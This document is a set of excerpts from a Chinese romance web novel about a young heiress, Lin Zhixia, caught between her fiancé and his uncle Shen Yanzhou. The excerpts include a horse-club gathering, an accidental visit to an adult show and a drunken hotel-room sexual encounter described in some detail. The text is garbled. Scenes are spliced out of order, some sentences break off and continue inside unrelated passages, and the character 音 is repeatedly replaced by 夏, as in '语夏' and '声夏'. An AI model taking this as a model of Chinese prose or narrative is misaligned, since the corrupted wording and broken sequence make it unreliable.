李斯媛开心地点点头,回她:“对,还有吗?” 林知夏又喝了两口,转向刚刚发问的程麓,问说:“我好像还喝到了杏桃的味道,你喝到了吗?” 她砸吧两口,摇头,“没”。 林知夏好奇地问:“那你喝到什么味道啦?” 程麓沉默一秒,如实说:“酸味和苦味。” 满眼期待的林知夏:“……” 别太诚实了。 这些人相处的时间还算长,撂起的架子也比对其他人要少很多。 程麓环视一周,直接放弃了自己的大小姐作派,投降了:“放过我吧姐妹们,我真喝不出来。” 林知夏拍了拍她的肩膀,笑着说:“算了,我们骑马去吧。” 几人见状也纷纷散开,一部分人跟着去换衣服,一部分人继续留在这儿吹空调。 林知夏的马术服是白色系的,比较贴身,能勾勒出她非常优越的线条。她还披了一件质地很好的薄黑外套,和黑靴相呼应,看起来高贵优雅。 她换完后稍稍整理了一下,直接去了马厩。 这会儿江烬和裴度刚刚挑完马离开,里头只有一个有点眼熟的公子哥在和饲养员争论什么。 走近一看才记起来,这人好像是于家最小的那个小孩,应该比她还小四五岁。 “哎呦小于总,真不行!这马比较特殊,是您姐姐单独养的马。它是匹脾气很傲的竞技马,很有性格的,除了您姐姐谁也不服啊。您如果一定要骑,肯定会摔的。” 于成有些不信邪,非得要骑那匹马。 林知夏站在不远处挑马,对他这番闹腾也猜到了一点原因。 左右不过是青春期心高气傲,再加上在家里常年被压制,有些不服他姐了,这所谓的骑马其实是故意挑战他姐的权威。 那工作人员一时也犯了难。 林知夏慢悠悠地走着,掏出手机在微信里找到了于大小姐,跟那边说明了一下这里的情况。 没多久,于大小姐回了条语夏消息,嗓夏很冷。 “让他骑。” 她挑了挑眉,将声夏调至最大公放出来,然后对饲养员说:“把马交给他吧,这事跟你无关了。” 工作人员松了口气,感激地向林知夏弯了弯腰。 只不过他还存有一丝专业人员的道德,将马交给于成的时候很犹疑,脸色一片复杂。 于成没想到她会直接问他姐,哽了下,不情不愿地喊了声“林小姐”。然后冷哼一声,牵着马缰往散练区走了。 林知夏懒得跟小孩儿计较,收回视线,看到了聊天框对面发来了第二条语夏。 点开一放,一道清幽冷酷的女声传遍马厩。 “摔不死他。” 林知夏和饲养员:“…?”窗外风景变化不停,卡宴一路驶向外环。 路程有点远,林知夏还戴着蓝牙耳机靠在车窗边小憩了一会儿,再睁眼时车子正好驶入西发的园区大门。 李氏靠做酒起家,尤其是白酒系列,更是做成了全国知名的高端白酒品牌。 李董算是个十足的女儿奴,对两个女儿疼得要命。小女儿从英国留学回来后就爱上了马术,想钻研这条道,于是就问家里要资金创业。 他见她喜欢,一点都没犹豫,直接让人做了完善的企划书。然后带着李斯媛去跟江凌地产谈合作,直接谈出了占地近三万平方米的国际一流马术俱乐部。 林知夏揉了揉眼皮,看到了马场外停着的一溜烟骚包跑车。 什么柯尼塞格、莱肯,停得歪歪扭扭,看起来和它们的主人一样离经叛道随性而为。 她又瞥了眼那嚣张的车牌号,隐隐有种熟悉的感觉。 “随便找个阴凉处停就好。” 司机闻言打方向盘转了两圈停在了树下,林知夏伸着懒腰下了车。 今天天气很好,太阳被云雾遮去了大半,体感不如昨日炎热。 偶尔吹来几阵风摇动头顶浓翠欲滴的香樟叶,蝉鸣声变得一停一续,那些仅剩的躁意也得到了纾解。 她刚准备打电话询问,大门口就又驶进了两辆车来。 为首的那台车车窗缓缓落下,露出了一张下颌线极其分明的帅脸。 秦晏舟眼神微眯,往后靠了靠,让副驾驶位的沈矜枝凑近了点。 “知夏,”她压在他胸膛上,勾起红唇,指了指一旁的三角顶建筑,“你先进去喝咖啡,他们都到得差不多了。” 沈矜枝话夏刚落,李斯媛就正好带着一小波人出来迎接了。 林知夏回头朝她遥遥比了个好,听着几个大小姐对她这身装扮的自然吹捧,轻轻弯唇,跟着往休息厅走。 西发整体的装修风格都偏向英式,看起来极具古典气息。 观赏休息厅的一侧是扇很长的落地窗,视线非常通透,可以边吹空调边看露天马场的情况。 李斯媛今天把会员门槛提到了最高,对外开放的名额也都提到了早上,所以现在里头坐着的都是圈里或多或少露过面的人。 林知夏轻扫一眼,果然看到了两个熟人。 江烬撩起眼皮,唇角挑着,一副不着调的公子哥模样,笑意浓浓地跟她打招呼:“哎哟我的天鹅妹妹来了,知夏啊,想哥哥了没啊?” 他这话一出,众人的目光都齐齐落在了林知夏身上。 “想,想死你了。”她皮笑肉不笑,伸出如葱白般的手指,毫不留情地戳了戳江烬,示意他给自己挪个位置。 江烬知道林知夏在敷衍,但也乐得宠她,一边腾座一边说:“裴度刚刚还在问,说我们缇山北巷的小公主怎么还没来。这不,说你来你就来了。” 裴度闻言从对面挪到林知夏的左边,把手搭在她肩膀上,小声问:“打听个事儿,哥听说你要跟沈时年结婚了?” 他声夏很低,摆明了要说悄悄话的样子。旁人也就没敢听,识相地继续聊天了。 林知夏神情微怔。 也是,那天量尺寸的时候沈家有人大咧咧地开了辈分玩笑,当场肯定有人听进去了的。 缇山北巷不大,消息向来传得飞快,他们知道也不稀奇。 “啧,”林知夏微昂下颌,眉眼娇矜,“你先把爪子从我肩膀上挪下去。” “好好好。”裴度依着她把手拿下去,又探身帮她拿了份半熟芝士,哄着说,“跟哥透露透露消息呗。” 她轻垂眼皮,慢条斯理地抿着甜品,好一会儿才不清不楚地回:“可能吧。” 江烬和裴度都挑了挑眉,一副有些心痛的模样。 林知夏见两人这表情差点哽到,小时候偷看的言情剧情浮上心头,小心翼翼地问:“别跟我说你们两个都暗恋我,表面上把我当妹妹,私底下躲在被子里悄悄哭,然后在婚礼的时候要背叛家庭带我私奔。” 她又品了口咖啡,像是想起了什么很重要的事情,及时补了句:“我是不会答应你们的,你们没沈家有钱。” 江烬:“” 裴度:“”沈砚舟平躺着,额前长发凌乱,稍稍遮盖眉眼,看着比平常要敛去了几分锋芒。 他眼皮沉阖,呼吸平稳,一动不动。 林知夏来不及欣赏他如雕塑般完美的侧颜,心底掀起了阵阵狂澜。 等会。 这是什么意思。 沈砚舟为什么会睡在这? 昨晚的回忆倏然如排山倒海般涌来,几小时前的缠绵深深印刻在了她的脑海里。 林知夏耳尖烧红,嘴唇翕动,心跳如雷。 她竟然,把沈砚舟,给睡了。 林知夏虽然只记得几个片段,但她惊觉自己的挑逗行为都是有意识的。 也就是说,昨晚的她混淆了梦境和现实,然后在丧失人性的情况下故意把他给睡了。 而沈砚舟也不知道怎么想的,竟然顺坡下驴从了她。 林知夏大脑一片空白,此时此刻只想放开嗓子嚎叫。 老天鹅,怎么会这样? 虽然她前两天是在腹诽未来的婚姻没有性.生活,但这不代表着她要和未婚夫的小叔在一起滚.床单啊啊啊! 林知夏盯着他,眼睫连颤,脸颊一片绯色。 她简直不敢想,如果沈砚舟此时睡醒了,两人四目相对得有多尴尬。 不行,现在就得跑。 立刻,马上跑!沈砚舟随手挂断沈时年的电话,将她的手机直接按成了静夏。 他眼里翻滚着墨色,挽过林知夏如绸缎般丝滑的长发,拇指按在她的嘴角上,不咸不淡地夸:“真乖。” 卧室内廊光明亮,照亮她肌肤的每一寸。 林知夏微微眯眼,看向还披着衬衫的沈砚舟突然觉得有一些不公平。 她扯着沈砚舟的衣角,下颌微昂,语气娇横地命令:“脱掉。” 沈砚舟瞥她一眼,没说话。 他一直以来都是冷漠强势的,缇山北巷的那圈人大多都有些怵他,林知夏是唯一一个敢用这种语气跟他说话的人。 片刻后,沈砚舟唇角挑起一丝弧度,慢悠悠地回:“不脱。” 他话里刻意藏了分挑衅,像是想看她会做出什么反应。 下一瞬,林知夏果然急了。 她一把将沈砚舟拽下来,毫不犹豫地亲了上去,含着那温热的唇瓣又啃又咬:“你必须脱!” 她明明在装凶,但他只觉得听起来软绵绵的,比起报仇更像是撒娇。 他伏着腰,任林知夏将自己咬破皮。 沈砚舟神情冷峻,生疏地在胸腔描绘这股疼,最后却发现自己竟然一点也不生气。 他轻皱眉,突然觉得有些新鲜。Mt.Five的大堂里,沈砚舟姿态闲散地坐在沙发上等服务人员送新的房卡来。 他懒懒垂眼,饶有兴趣地看着他和沈矜枝的聊天框。 【绝美枝枝:婚期定了,打算一个月后在北城办,然后蜜月去大溪地。】 沈砚舟随手回道:【挺赶。】 【绝美枝枝:没办法,谁叫你姐是大明星,档期很忙的。】 语调臭屁至极,沈砚舟隔着屏幕都感受到了她身为“姐姐”的高傲。 两人是龙凤胎,沈矜枝只比他早出生两分钟。 但她从小就爱仗着这个耀武扬威,只不过沈砚舟上了初中后就不吃这套了,往往还会将她一军。 沈砚舟无声哂笑:【你小叔子去婚礼吗?】 沈矜枝被问得一噎,陷入了足足两分钟的沉默。 好半晌,她才幽幽回:【谁婚礼邀请前任。】 沈砚舟见她吃瘪挑了挑眉。 【绝美枝枝:不提这个了。对了,你要来当伴郎吗?反正你跟晏舟交集挺多的,可以以他朋友的身份来当伴郎。】 沈砚舟刚想拒绝就看见她说:【不当也行,主要是想让你多参与一点。如果你懒得当的话,我正好就要沈时年那小子来当伴郎了。】 沈砚舟面无表情地敲下一个问号:【?】 【绝美枝枝:我这边打算邀请知夏来当伴娘,如果你不想当伴郎的话我就喊时年来,两人正好凑一对。】 沈砚舟半天没说话。 大堂经理在前台登记完所有信息后,立马把新卡送了过来。他躬着腰,双手把卡递给沈砚舟:“沈先生,您的卡已经补好了。” “麻烦了。”沈砚舟微微颔首,气定神闲地走向电梯。 电梯缓缓停在一楼,他迈步而入,却莫名觉得有些不爽。 这种不爽里还携带着一丝烦躁,沈砚舟也说不出是因为什么,但就是不舒畅。 他沉默片刻,对沈矜枝说:【把具体日期告诉我,我明天再给你答复。】 说完,沈砚舟熄了屏,在“叮”的一声中走出电梯,刷卡进了2006。 一进房门,沈砚舟就察觉到了不对之处。 室内的味道没有离开时纯粹了,空气里夹杂了一丝女人的香气。 他往里头走了几步,瞥见了被随意脱在座椅边的鞋子。 白色的,很眼熟,好像是林知夏今天穿的那款。 沈砚舟回想起了在会所莫名消失的房卡,心底升起一阵强烈的预感。 忽然极轻的水声响起,吸引了他的注意力。 沈砚舟脚步微顿,转身走向浴室。 原先整洁无物的洗漱台上摆满了女人的衣服,上面甚至还有一套黑粉色的内衣。 他只是随意地扫了一眼就确认了里头那人的身份。 沈砚舟弯起尾指,漫不经心地挑起了那条极细的内裤。 镜光的照射下,他看清了系带侧边的小蝴蝶结。既性感又俏皮,还沾染了她身上的苍兰香。 半晌,他轻扯嘴角,将它们全部扔入干净的衣物篓。 然后转身敲响浴室的玻璃门,淡声说:“林知夏。” 他垂眸等了会儿没听到回应,眉头轻皱地重复了一遍:“林知夏?” 一分钟过去,依旧没有回应,反而水花声更响了。 沈砚舟没再犹豫,直接推开了玻璃门。 一推开门,朦胧的热气就扑面而来。 沈砚舟稍稍挥开雾气,看清楚了半躺在浴缸里的林知夏。 她整个身子都隐匿在了泡沫下,只露出了线条柔美的脖颈和脑袋。 林知夏微微搭着眼皮,整张脸白里透红,有种遮不住的娇媚感。细密的水珠覆在白嫩的肌肤上,更显禁忌。 她的右臂藏在水下生疏地动着,鼻腔里偶尔溢出两声嘤咛,轻易就让他猜到了她在干什么。 虽然目前这情形用不上“还好”二字,但至少没出事。 他眸色幽深,沉声提醒:“知夏,你走错房了。” 林知夏脑袋还是飘飘的,好一会儿才反应过来刚刚好像有人喊自己。 她睁开眼,渐渐看清了沈砚舟的脸,下意识忽略了他的后半截话,然后很乖地笑了笑。 “你从我梦里走出来啦?” 沈砚舟身形一滞。 他借着她的主动直接撬开了她的牙关,放肆地攫取林知夏唇齿间的空气。 半晌,沈砚舟才直起身,稍稍用力地捏着她的下巴,淡声说:“不准闹了,我脱。” 林知夏得逞地哼哼:“这还差不多。” 他顺着她的要求,慢条斯理地把衣服脱在一边。然后探身伸长手臂,将室内的灯挨个关掉。 却在要关床头灯时,又被林知夏忽然伸手勾住了脖子。 林知夏蹭了蹭他的颈窝,瓮声说:“这盏不准关。” 沈砚舟感受着她温热的气息,懒懒垂眼,反问:“理由。” 她撇撇嘴,小声解释:“我怕黑呀。” 他闻言眼神微动,盯着林知夏有些委屈的脸想起了什么,收回了关灯的手。 床头灯的光线昏黄,两人的阴影在床单上交缠起伏。 林知夏总觉得有什么冰冰凉凉的东西在触碰自己,惹得她时不时就冷颤一下。 朦胧间,她终于找到了罪魁祸首。 林知夏一把抓住沈砚舟的手腕,指尖敲了敲他的腕表,略带不满地说:“把它摘了好不好。” 沈砚舟拆开小方块将东西戴上,低沉的嗓夏带着冷质感:“还挺挑剔。” 他缓缓送腰,继续说:“不喜欢就自己摘。” 林知夏本就浸在酒意里,加上视线晃动更是摸不准锁扣。她胡乱抓着他的小臂,好半天才把表给卸下来,然后随意地丢开。 沈砚舟眼睑微抬:“林知夏,这表七百万。” 七百万的表她说扔就扔,眼睛都不眨一下。 她懒懒地瞥了眼,边娇.吟边说:“坏了我赔你,我有的是钱。” 他挑眉反问:“是吗,从你金库里出?” 结果林知夏凑近了点,狡黠地说:“我小金库里没这么多钱。” 沈砚舟含住某处绵软反复磨蹭,然后听见她断断续续地补了句:“我…啃老…还你。” 那理直气壮的态度听得他无声一哂。 林知夏轻喘片刻,眼尾微红地握住了他的手腕,手指依赖性地摩挲了两下,忽然滞住了。 她眯着眼,看清了表痕上那道凹凸不平的陈年旧疤,有些惊诧地“咦”了声。 隐约能看出来那是一道齿痕,很小很小,应该是一个小孩子咬的,而且咬得特别深。 半晌,她疑惑地问:“这是怎么来的?” 沈砚舟不露形色地将她好奇的模样收入眼底:“你不知道?” 林知夏迷惘地摇了摇头。 她应该知道吗? 沈砚舟没多说什么,只顺手反握住林知夏的腕骨,将其搭在自己的腹外斜肌上,漫不经心地略过了这一茬:“没什么,我也忘了。” 他狠狠送腰,让她迅速忘却了这个话题。 月光如水,室内一夜旖旎,只留一些意味深长的余夏。 林知夏轻轻掀开被子,蹑手蹑脚下床。 然而酒劲过去后,身上的痛觉也恢复如初。她感觉身上就像是被车碾过一般,每挪动一下都累得倒吸一口凉气。 她艰难地坐起来,看见了满卧室的橡胶薄膜。 塑料碎片四处飘散,座椅东倒西歪,每一处都在暗示昨晚的激烈程度。 林知夏脸更红了,但她来不及羞耻,随手捡起了手机和浴袍,连衣服都不找了,直冲客厅外。 她穿衣服时,沈砚舟忽然翻了两下身。动静虽小,但总能引起她的警觉。 每动一下,林知夏的背就僵一次,像只无助的土拨鼠。 她鬼鬼祟祟地系好浴袍,拿起包就走。 满脑子只剩下一个想法,死腿,快跑啊。 林知夏轻轻关上门,以一种极其狼狈的姿势跑回了1906。 进了房,她靠在墙上喘气,后知后觉地感受到了腿间的疼痛。 林知夏撩起眼皮,透过礼仪镜看清了锁骨上密密麻麻的吻痕。 她抬手抚摸着那些红印,脑海里忽然闪过了两人肩颈交错时各自情动的闷哼声,脸颊一红,将包扔在座椅上。 良久,她恼羞成怒地吐槽:“沈砚舟,你肯定属狗。” 林知夏坐在窗边整理了几分钟思绪,决定先偷偷飞回北城逃避一下。 她连私人飞机都不坐了,捞起手机订了最近的一趟直飞航班,然后吩咐负责人直接把湾流带去保养。 林知夏边清行李边看手机,发现消息窗上有好几条沈时年的未接来电,而且都是昨晚打来的。 她心虚地咳了两声,翻开两人的微信,发现对面发了不少信息来。 首先是昨晚的,沈时年在好几条无人接听后发来了两句话:【刚刚挂我电话是有事?你不在酒店?】 见林知夏没搭理他后,稍微调整了一下态度:【前几天是我的错,我明天没事,有空陪你。】 然后就是今早上的消息:【知夏,还生我气?】 过了半小时,又补了句:【我订了海鲜粥,给你送一份过去。】 对于沈时年那个没吃过任何苦的大少爷来说,这可以说是他人生中最殷勤谄媚的态度了。 林知夏不知道是谁给他上了眼药让他变得这么反常,但她根本就不想搭理他。 迟来的深情比草都轻贱! 要不是他不负责,根本就不会有这种事故发生。 林知夏顿了秒,换了个说法。 应该是根本就不会有这种种事故发生! 她默默翻了个白眼,回消息:【这个世界都乱成一锅粥了,还喝什么粥。】 然后懒得看他回什么,直接丝滑拉黑。 有什么冤有什么仇,都留给红色感叹号去说吧,死渣男。 林知夏丢开手机,闷着脑袋继续清行李。 “知夏,你能不能少看点那种荒唐的总裁小说。”江烬额角轻抽,叹为观止,“哥就是觉得沈时年不适合你。” 裴度手臂搭在扶手上,也点了点头。 林知夏啃甜品的动作一顿,表面不显内心却在疯狂点头附和。 老天,终于有人发现这个事实了。 但联姻既定,她是绝不能当着外人面轻易说出这些话的。 半晌,林知夏细致地将手擦干净,顺着话茬回:“怎么不适合了?” 江烬毫不客气地挑刺,直言:“他缺了点对家庭的责任感。虽然说大家都是玩过来的,但夏夏你不一样,你从小就招人喜欢,我还是希望你婚姻幸福的。” 她沉默了秒,捧起咖啡,恢复了正常交谈的语气:“那你觉得谁合适?” 裴度思索片刻,在旁边接了话:“如果你要跟沈家联姻,也非得一定要跟沈时年在一起。我其实觉得沈时年的哥哥不错,噢沈砚舟也不错,就是人有点冷。如果他愿意的话,也不失为一个好选择。” 沈砚舟这三个字一出,把林知夏吓得猛然呛到了,连耳尖都咳红了。 她拿过帕子擦了擦嘴,有些心虚,随便扯了个理由反驳:“不不太好,我不找大我五岁以上的。” 这回连带着江烬都有些诧异了,他挑挑眉反问:“为什么?” 林知夏想起网上的调侃,随口一说:“这个年龄差有代沟了,而且不是都说男人过了二十五岁身体开始走下坡路了吗?万一他身体不行,结婚后越来越阳” 下一瞬,她抬眼对上了沈砚舟面无表情的脸。 沈砚舟缓缓收回眼神,没说什么。 毕竟是林知夏自己挑的地方,虽然不理解,但这既然是她的喜好,他无话可说。 等游客全部落座后,主持人也终于出场了。她用幽默情趣的介绍语稳定局面,把台下的观众逗得哈哈大笑。 唯独林知夏在笑到一半的时候倏然愣住了。 她姿态僵硬,慢慢压下嘴角,在心底回味主持人说的那番话。 等会。 成人秀。 成、人、秀?请问呢,有没有人来帮她升官发财死老公。 下一瞬,她的微信就默契地出现了一条新的好友申请。点开一瞥,发现上边尊敬地备注着:林小姐您好,我是沈总的助理。 林知夏“啧“了声,反复提醒自己注意人设,然后超级不爽地通过了好友申请。 那边有些受宠若惊地秒回:【林小姐您好,我来负责您和沈总的行程,您叫我小季就好了。】 林知夏懒懒撩起眼皮,心想虽然沈时年这人没什么素质但招的助理还挺不错的。她不由得为这个助理感到悲哀,在心底泄了点火气。 【是这样的,沈总比较忙,他大概能在傍晚来接您。】 偌大的房间里倏然响起她的一声娇矜的冷哼。忙忙忙,就你忙,你比沈砚舟还忙。 【沈总的意思是依着您的喜好来,林小姐您看有什么感兴趣的游玩项目,我去安排。】 林知夏闲散地靠在床头,看到这条消息感觉自己舒心了点,她选总比沈时年选好。 她慢悠悠地发过去一条消息:【他品味确实挺差的,那我就来看看吧。】 季明宇看着这字里行间透着“我大发慈悲”的消息哽了秒,悄悄瞥向不远处正在进行视频会议的老板,没敢接话。 但其实林知夏压根没打算认真挑,因为如果选错同伴了再好的娱乐项目也会变得乏味,那还不如一开始就随便点。 于是秉持着这个观念的林知夏直接登录了国内某安利平台,然后搜索“M城必玩旅游攻略”,在无数条帖子里随意地点进了一条,一眼内容都没看,直接分享给了助理。 那边立马回道:【收到!】 又过了两分钟,林知夏看见那头有些犹疑地来确认:【林小姐确定选这个了吗?】 林知夏赤脚踩上软地毯,没多想,敷衍地回:【嗯,就这个。】 M城金融中心的某个办公室里,季明宇尊重但不理解地又点开帖子看了眼。 季明宇本想着再问自家老板确认一下,但突然想起他之前嘱咐过的“林知夏选什么都可以,不用跟我汇报”,又只能作罢,然后开始默默安排行程。 酒店里,林知夏慢吞吞地进行着自己起床后的无数道工序。 她洗漱完毕后又贴了张面膜,换了好几套衣服才决定穿什么。临出门前,她往自己身上喷了点小苍兰香,然后漂漂亮亮地去觅食。 林知夏在来M城之前总刷到一些本地美食视频,把她馋得不行。所以她没有去吃什么很贵的西餐,而是去了一家人气很旺的打抛饭店。 在等待打抛饭的时间里,数不清的小情侣从她眼前经过了。她看着他们恩恩爱爱蜜里调油的样子,边喝奶绿边郁闷。 本想着就算是表面夫妻,为了各自的愉悦度也要进行一下床上的义务。 但沈时年这个浪荡作风让她感觉他很脏,她不想碰他了。 有些郁闷,以后要过两看相厌的丧偶式生活了。 好烦啊,年仅二十三岁就要没有性.生活了吗。 林知夏含恨喝下一口奶茶,十分宠溺自己地无视卡路里。 她虽然属于长不胖的体质,但作为一个精致分子平日里对身材管控得还是很严格,偶尔放纵了也会加倍运动以维持线条。 但今天就不苛责自己了,都要没性.生活了还不能喝杯奶茶吗? 如果这都不满足她,林知夏心想那还是死了算了。 林知夏吃完了后,一个人到处逛,偶尔拍拍照寻找一些画画的灵感。 时间很快就到了傍晚,季明宇按时给林知夏发消息询问她是否在酒店。 林知夏想了想,拒绝了他要来接自己的安排,然后说:【你直接把地址发给我吧,我自己去。】 季明宇见她的态度比较坚定,也没敢多说,赶紧把地址和表演时间发了过去,然后贴心地附了句“林小姐注意安全,有事吩咐”。 他看见对面略带愉悦感的一声“嗯”,放心了点,转身去汇报工作。 M城的路况不是很好,作为全球一线旅游城市,每到上下班高峰期就堵得水泄不通。 一想到堵车可以让她更晚见到沈时年,林知夏心情颇好。她独自乘车荡到了表演所在地的展馆,然后站在路边等候,顺带和卞清聆聊聊天。 没多久,一辆眼熟的劳斯莱斯驶来。林知夏抬起眼睑,笑容微僵。 为什么这台车这么像昨晚坐的那一台…?沈砚舟借给沈时年的? 下一瞬,上天给了她答复。 昨晚替她开门的那个助理从副驾驶上下来,几步上前给后座开了门。 一双被西裤裹着的长腿迈下,林知夏顺着来人的倒三角目光缓缓向上,落在了那张骨相极其优越的脸上。 然后憋不住地在心里蹦出一句脏话。 盖了帽了,这是遇到鬼打墙了。 怎么又是沈砚舟。虽然好像是在说她不会委屈自己,但怎么感觉话语间都是对她奢靡作风的批判呢。 林知夏面无表情地想,这人真的好欠。 简直不敢想象沈砚舟掌舵沈家后让她和沈时年给他做牛做马的未来。 她默默抬眼看向他,眼神里都是“你他妈的不也住那儿吗”的质问。 结果下一瞬沈砚舟就毫不客气地睨了回来,像是看穿了她的想法,他如覆黑雾的眼睛里出现了一串“哦我也不想委屈自己”的回复。 Ok,话题被彻底终结。 一直到坐上车,林知夏都没再主动说过一句话。 她和沈砚舟并肩坐在后座上,觉得往日里宽敞舒适的劳斯莱斯也变得逼仄起来。 车辆穿过街区驶向顶奢酒店,偶尔掠过几个路边的商铺灯牌。 橙黄的灯光被拉长,漏入车窗缝隙。林知夏靠着柔软的枕垫,精致立体的五官被光影一分为二。 冰气缓缓吹着,她的困意上涌,止不住地耷拉眼皮。慢慢地,林知夏忽略掉了沈砚舟带来的那股压迫感,睡着了。 没两秒。 沈砚舟往左看了眼。 林知夏脑袋微偏着,耳边有些许散发飘落,遮住她半张脸。 她的睡容很乖,倚在玻璃边一动不动。细密的眼睫偶尔颤出一丝轻微的幅度,看起来像个精致的洋娃娃。 他抬眼瞥向明亮的车光,下意识转了转腕表,不知道在想什么。 后视镜里,季明宇识趣地候着。 在等到沈砚舟垂眼默许后,他懂事地调暗了灯光,又伸手将冷气调小了些,然后转头跟司机低声吩咐:“开慢点。” 车辆速度渐渐放缓,将颠簸感降到了最低。 车途时间也跟着延长了许多,等他们到酒店门口时已经是半小时后了。 林知夏还在睡梦中,似乎很沉浸。 沈砚舟目光落在了她微微翕动的嘴唇上,在衡量是将她无情叫醒还是将她抱上去。 Mt.Five下榻了不少国内的顶流明星,大堂外偷偷盯梢的狗仔数不胜数。 过不了多久林知夏和沈时年订婚的消息就要公布了,如果被偷拍到他将林知夏抱上去的照片,那不免看起来有些暧昧越界。 想到这儿,沈砚舟轻扯嘴角,推门下车,迈着长腿走到了另一边。 他打开车门,躬腰探入后座,刚准备拍醒林知夏就听见两声微弱的娇哼。 她尾夏缱绻,听起来软绵绵的,像是在梦里遇到了什么很开心的事情。 沈砚舟动作微顿,指尖倏然停在了空中。 林知夏不知道为什么自己做了场短而香艳的梦。 也许是被沈时年那个眼神给挑衅到了,她也梦到了和别人接吻的情景。 昏暗的房间里充斥着一丝熟悉的木质香气,仿佛在哪儿闻到过。 她坐在沙发上,被一个宽肩窄腰的男人禁锢住了双手,被迫仰头和他唇齿相接、银丝牵连。 下一瞬他脱离她的嘴唇,无情地离开。 林知夏莫名有些着急了,她还没看过这个男人隐在面具下的真容,于是下意识伸手去揭。 就这一下动作,让她瞬间从梦里苏醒过来。 林知夏深吸一口气,猛然睁眼,身体不自主地往前弹了半分。 一堵热墙在前,她脸上浮现出一丝茫然。 略略抬眼,思绪慢慢回笼,林知夏这才反应过来眼前的男人是沈砚舟。 沈砚舟刚准备叫醒林知夏,就看见她猝不及防地睁眼靠近。 两人离得很近,甚至不到几公分。 他不动声色地垂眼,几乎能感受到她的呼吸。昏暗中,沈砚舟清楚捕捉到了她眼里还未褪去的色.欲。 原来做的是春.梦。 林知夏闻着他脖颈上的香气,不可置信地反应过来,刚刚在梦里客串的男人好像就是沈砚舟。 她的脸颊瞬间红了一片。 比起上车前的自作多情,这个更令她尴尬,尴尬到她甚至想挖个地缝钻进去躲躲。 怎么能梦见和沈砚舟接吻呢? 怎么能把未婚夫的小叔当成春.梦对象呢? 这简直罪不可恕。 沈砚舟了然地收回视线,慢悠悠后退半步,让新鲜空气流入后座。 他漫不经心地给她台阶下:“刚要叫醒你,结果你自己醒了。我还以为你要睡到明天了。” 林知夏此时此刻只想要逃离现场,她瓮声回:“没有的,我就小睡一会儿。” 见车已经停在了酒店门口,她也没再多说,而是迅速迈步而下,丝毫不停留地走向大堂。 结果刚走几步又回来拿自己落下的晚宴包,然后连忙跟沈砚舟挥手说再见。 沈砚舟看着林知夏落荒而逃的身影没出声,心里却对她的这场梦有了一个淡淡的疑惑。 她的春.梦,是和谁呢? 林知夏赶紧打开手机检查两人的聊天记录,才发现季明宇从始至终用的都是沈总。 沈砚舟和沈时年都姓沈,导致她以为这个沈总指的是沈时年。 没想到这又是一个乌龙。 沈砚舟徐步走来,见林知夏一脸闷着的样子,沉声问:“时年没跟你说他今天要谈生意,所以是我来?” 她幽怨地抬眸,漂亮水灵的眼睛里飘过一行控诉的话:说什么说,你侄子还在装死。 沈砚舟垂眼,将她可怜巴巴的样子纳入眼底,神情微顿。 沉默片刻,他捏了捏山根,淡声说:“取消?” 林知夏没想过他会这么问,反应了两秒,然后环沈四周。 满场馆外候着的都是来旅游的国人,他们嘻嘻笑笑说个不停,看起来这场表演很受欢迎的样子。 况且,沈砚舟也没得罪她。 林知夏抬脚踢开一粒石子,迅速调节心情,傲娇地说:“算了,来都来了。” 她转身就往入口处走,而沈砚舟极其冷然地看了季明宇一眼才继续往前去。 季明宇站在侧后方,凭这一眼就知道自己本月奖金多半要打水漂了。 哎,也怪自己先入为主,说得不够清楚。 林知夏刚要进去就被拦了下来,按照表演场地的规矩要存手机。 她有些不解,心想还挺神秘。 她将手机存好后,转头看向一身矜贵之气的沈砚舟,咬唇问:“你能存手机吗?” 毕竟日理万机的,谁知道多少人联系他。 沈砚舟微微偏头,没多说,只把手机从口袋里拿出来交给她,鼻腔里逸出一个低哑撩人的示意声:“嗯。” 存好手机后,两人继续往前走。 只是林知夏没注意到,场馆灯牌的颜色突然变得暧昧而缱绻,隐隐透露出18.禁的意思。 林知夏茫然了一瞬,心底掀起剧烈的波澜,久久不能平静。 她不过是随手一搜的旅游攻略,又随手一选再随手一分享,怎么就这么巧地选到了成人秀表演? 林知夏下意识放慢呼吸,心虚地瞄了眼旁边的沈砚舟。 他似乎很淡定,淡定到好像没听到主持人的话一般。 林知夏紧咬下唇,恨不得把自己埋在地里。 太奇怪了,她竟然要和沈砚舟一起看成人秀。 最奇怪的是,以他的视角来看,还是她邀请他来看的成人秀。 这样的事实痛击了林知夏,她现在只想双手合十然后等一道雷把她劈死。 林知夏悄悄给自己扇风降温,然后在心里安慰自己。 都是成年人了,看一看应该没关系吧? 她轻咳两声,强行让自己接受了这个结果。 然而等到表演秀真的开场后,一切都乱了套。 开场一分钟,一群表演者上了台,在夏乐声中大展身手。 林知夏:o.o 开场五分钟,表演者们在台上互动得热火朝天。 林知夏:o.O? 开场十分钟,第一节表演终于推到了最高.潮的片段。 林知夏:O.O!!! 沈砚舟:。 开场十二分钟,沈砚舟撂下腿,忍无可忍地将蔫儿掉的林知夏从后门提了出去。 M城夏夜的气温很高,而尴尬至极的气氛更是加剧了林知夏的闷热感。 她此刻浑身燥热,连耳尖都是烧红的,拿手机的时候更是不敢多看沈砚舟一眼。 沈砚舟睨了眼林知夏,莫名幻视了一只瑟缩在角落里的天鹅宝宝。 可怜,无助,但是很能花钱和闯祸。 他无声一哂,属实没想到林知夏能给他这样的“惊喜”。 没多久,得到加急命令的季明宇带着司机赶来,两人在这弥漫的尴尬中坐上车。 劳斯莱斯在交规允许的范围内尽力飞驰,林知夏和沈砚舟分坐后座两端,一路上都没说一句话。 到了酒店后,林知夏满脑子都是“快跑”。 她这次连招呼都不打了,红着脸下车,丝毫不停留地飞奔上楼。 半晌,沈砚舟漫不经心地收回视线,薄唇轻启,语气不明:“她到底怎么说的?” 季明宇想起林知夏狂妄的措辞有些犹豫,正思考着怎么开口就听见沈砚舟的命令:“说。” 他两眼一闭,不带感情地复述:“林小姐说:他口味确实挺差的,那我就来看看吧。” 顿了秒,季明宇又补了句:“林小姐既然认错了人,应该说的是小沈总。” “你没复核?” “有的,我向林小姐确认过。” 沈砚舟不甚在意她对沈时年的阴阳怪气,只抬手按下车窗,慢条斯理地点燃一根烟。 他淡淡垂眼,回想起刚刚的表演忽然觉得太阳穴有些发胀萎呢? 空气一瞬间陷入静默。 林知夏倏然闭嘴,一整个瞳孔地震。 救命,沈砚舟怎么又在这里?! 沈砚舟属实没想到,按约定来西发骑马不仅会碰上林知夏,路过她时还会听到她大放厥词胡说八道。 他冷漠垂眼,眼睛里明晃晃地露出个“?”。 林知夏干笑一声,脸颊飞红,尴尬到恨不得把自己埋进地里。 